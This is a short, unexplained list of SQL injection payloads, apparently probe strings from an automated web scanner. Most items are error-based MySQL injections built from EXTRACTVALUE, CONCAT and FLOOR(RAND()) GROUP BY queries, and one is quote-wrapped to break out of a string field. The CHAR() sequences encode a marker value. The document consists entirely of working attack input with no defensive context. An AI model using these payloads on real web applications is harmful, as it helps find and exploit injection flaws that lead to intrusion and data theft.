1

1

2

EXTRACTVALUE(1,CONCAT(0x3a,CHAR(52),CHAR(67),CHAR(117),CHAR(107),CHAR(112),CHAR(110),CHAR(108),CHAR(119),CHAR(109),CHAR(116),CHAR(110)))

3

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(107),CHAR(112),CHAR(110),CHAR(108),CHAR(119),CHAR(109),CHAR(116),CHAR(110),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

4

(select CHAR(52),CHAR(67),CHAR(117),CHAR(107),CHAR(112),CHAR(110),CHAR(108),CHAR(119),CHAR(109),CHAR(116),CHAR(110))

5

"+EXTRACTVALUE(1,CONCAT(0x3a,CHAR(52),CHAR(67),CHAR(117),CHAR(107),CHAR(112),CHAR(110),CHAR(108),CHAR(119),CHAR(109),CHAR(116),CHAR(110)))+"